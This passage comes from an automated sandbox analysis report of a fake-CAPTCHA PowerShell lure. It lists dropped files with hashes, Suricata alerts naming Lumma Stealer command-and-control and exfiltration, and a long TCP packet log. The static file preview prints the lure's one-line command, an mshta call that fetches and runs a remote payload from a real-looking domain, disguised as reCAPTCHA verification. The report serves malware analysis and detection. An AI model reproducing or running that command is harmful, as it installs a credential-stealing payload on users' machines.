Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e1pizog1.dzn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7265626107516403
Encrypted:	false
SSDEEP:	96:c07dh33CxHeikvhkvCCtu7fDhwHoefDhwHoK:3xhy++u7fXefXK
MD5:	90588EA44D47115A9844D0FEA2594FA7
SHA1:	2E86D9BE1886DB0E70F0BB21AA680926538FEAA9
SHA-256:	CF6E9D3D537F6754575030E392CC05D5D34CAC3662A966CBE393ED6D67EB5FB4
SHA-512:	1358B63DBA18F465FE7E97662D365A2ADB95845D9735912E01EBFCEE5A89FE802B422A97DD18101D69ADBEF3C2AC4C9770CBC2C70AF83BCA4B27209003DA5955
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v.....*T..V..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....9r..V....]..V......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.q...........................%..A.p.p.D.a.t.a...B.V.1......Y.q..Roaming.@......CW.^.Y.q...........................:..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y q..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWQ`..Windows.@......CW.^DWQ`..........................`...W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.Y q....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N6XEW1ZW4N377XN8EB0W.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7265626107516403
Encrypted:	false
SSDEEP:	96:c07dh33CxHeikvhkvCCtu7fDhwHoefDhwHoK:3xhy++u7fXefXK
MD5:	90588EA44D47115A9844D0FEA2594FA7
SHA1:	2E86D9BE1886DB0E70F0BB21AA680926538FEAA9
SHA-256:	CF6E9D3D537F6754575030E392CC05D5D34CAC3662A966CBE393ED6D67EB5FB4
SHA-512:	1358B63DBA18F465FE7E97662D365A2ADB95845D9735912E01EBFCEE5A89FE802B422A97DD18101D69ADBEF3C2AC4C9770CBC2C70AF83BCA4B27209003DA5955
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v.....*T..V..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....9r..V....]..V......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.q...........................%..A.p.p.D.a.t.a...B.V.1......Y.q..Roaming.@......CW.^.Y.q...........................:..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y q..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWQ`..Windows.@......CW.^DWQ`..........................`...W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.Y q....Q...........

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	Unicode text, UTF-8 text, with no line terminators
Entropy (8bit):	4.94225122847014
TrID:
File name:	00000.ps1
File size:	103 bytes
MD5:	dcca21065d466d02dc563971e2981c0e
SHA1:	5b3e32332d7d1f74261cc238c6e34b4c83b84a32
SHA256:	52d2dff33cdb7cb2eb4e81e5ac6ad9e828d4df0c7c9a5fc2e96381c7f3cd7843
SHA512:	579f30d8712956f9a319b1d5faca7003101e0476e6fe30d75665ec10ea4b3a9a459efddb5668268450febf65f61e684a4a0c14974f15056b7ad2dc844d8bd57b
SSDEEP:	3:rN6ez1JOLTL7F96Ct+RbqRF4I1yMQRWL7n:Z6eXOLbP6C0IMPy7n
TLSH:	1BB012F3551515453AD346622B6D23449339C3A83A94252764828078C0035A0D75B1DC
File Content Preview:	mshta https://scrutinycheck.cash/singl7.mp4 # ... ''I am not a robot - reCAPTCHA Verification ID: 2165

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-25T15:10:32.806882+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49823	104.21.112.1	443	TCP
2024-12-25T15:10:33.534400+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49823	104.21.112.1	443	TCP
2024-12-25T15:10:33.534400+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49823	104.21.112.1	443	TCP
2024-12-25T15:10:34.796392+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49825	104.21.112.1	443	TCP
2024-12-25T15:10:35.555381+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49825	104.21.112.1	443	TCP
2024-12-25T15:10:35.555381+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49825	104.21.112.1	443	TCP
2024-12-25T15:10:37.049964+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49831	104.21.112.1	443	TCP
2024-12-25T15:10:39.243565+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49837	104.21.112.1	443	TCP
2024-12-25T15:10:40.011889+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49837	104.21.112.1	443	TCP
2024-12-25T15:10:41.307454+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49843	104.21.112.1	443	TCP
2024-12-25T15:10:43.671394+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49854	104.21.112.1	443	TCP
2024-12-25T15:10:45.928030+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49860	104.21.112.1	443	TCP
2024-12-25T15:10:49.426528+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49866	104.21.112.1	443	TCP
2024-12-25T15:10:50.190773+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49866	104.21.112.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 25, 2024 15:09:01.542767048 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:01.542829037 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:01.542908907 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:01.551943064 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:01.551963091 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:02.784503937 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:02.784612894 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:02.834712982 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:02.834738970 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:02.835225105 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:02.835285902 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:02.837584019 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:02.883337021 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.227978945 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.228060961 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.228096962 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.228106976 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.228168011 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.228194952 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.228194952 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.228213072 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.228220940 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.228266001 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.228272915 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.228312969 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.228318930 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.228362083 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.238755941 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.238867044 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.238888979 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.238941908 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.247217894 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.247283936 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.247309923 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.247371912 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.347645998 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.347700119 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.347738028 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.347784042 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.419562101 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.419621944 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.423218012 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.423264027 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.424665928 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.424706936 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.432291031 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.432334900 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.432343960 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.432383060 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.439788103 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.439841986 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.439851046 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.439889908 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.447223902 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.447278976 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.447365046 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.447412968 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.454844952 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.454916954 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.454933882 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.454982042 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.462344885 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.462425947 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.462446928 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.462496042 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.469809055 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.469873905 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.469912052 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.469959974 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.477874041 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.477931976 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.477962017 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.478009939 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.484786034 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.484848976 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.484903097 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.484952927 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.491327047 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.491552114 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.497762918 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.497812986 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.497874975 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.497917891 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.504261017 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.504323006 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.504347086 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.504395008 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.539251089 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.539318085 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.611653090 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.611723900 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.613869905 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.613934040 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.614039898 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.614094973 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.618470907 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.618537903 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.624775887 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.624841928 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.634098053 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.634170055 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.637921095 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.637988091 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.642338991 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.642399073 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.650824070 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.650882006 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.659014940 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.659076929 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.667555094 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.667608023 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.670849085 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.670922041 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.677279949 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.677341938 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.683620930 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.683680058 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.687017918 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.687094927 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.693619013 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.693675041 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.699815035 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.699875116 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.704986095 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.705046892 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.805099010 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.805169106 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.810075998 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.810142040 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.812680960 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.812743902 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.817574024 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.817650080 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.819928885 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.819994926 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.824628115 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.824690104 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.828982115 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.829029083 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.833481073 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.833534002 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.835956097 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.836023092 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.840399027 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.840457916 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.844798088 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.844863892 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.849251032 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.849318981 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.851521969 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.851587057 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.856015921 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.856070042 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.859373093 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.859435081 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.863856077 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.863913059 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.866247892 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.866306067 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.870706081 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.870767117 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.875153065 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.875216961 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.879657984 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.879717112 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.881860018 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.881915092 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.886358023 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.886421919 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.888729095 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.888788939 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.924771070 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.924830914 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.995805979 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.995870113 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:03.996798038 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:03.996855021 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.014492989 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.014513969 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.014553070 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.014554024 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.014580011 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.014590979 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.014617920 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.014633894 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.019901991 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.019959927 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.019973040 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.019989014 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.020014048 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.020035028 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.033821106 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.033844948 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.033895016 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.033902884 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.033938885 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.033951998 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.047957897 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.048002005 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.048019886 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.048027992 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.048047066 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.048065901 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.055546045 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.055607080 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.055608988 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.055635929 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.055663109 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.055685043 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.063007116 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.063054085 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.063079119 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.063085079 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.063117981 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.063133001 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.069494963 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.069540024 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.069561958 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.069570065 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.069595098 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.069613934 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.189394951 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.189464092 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.189471960 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.189501047 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.189527035 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.189548016 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.196433067 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.196484089 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.196505070 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.196523905 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.196552038 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.196562052 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.203346968 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.203391075 CET	443	49730	104.21.38.253	192.168.2.4
Dec 25, 2024 15:09:04.203403950 CET	49730	443	192.168.2.4	104.21.38.253
Dec 25, 2024 15:09:04.203430891 CET	443	49730	104.21.38.253	192.168.2.4
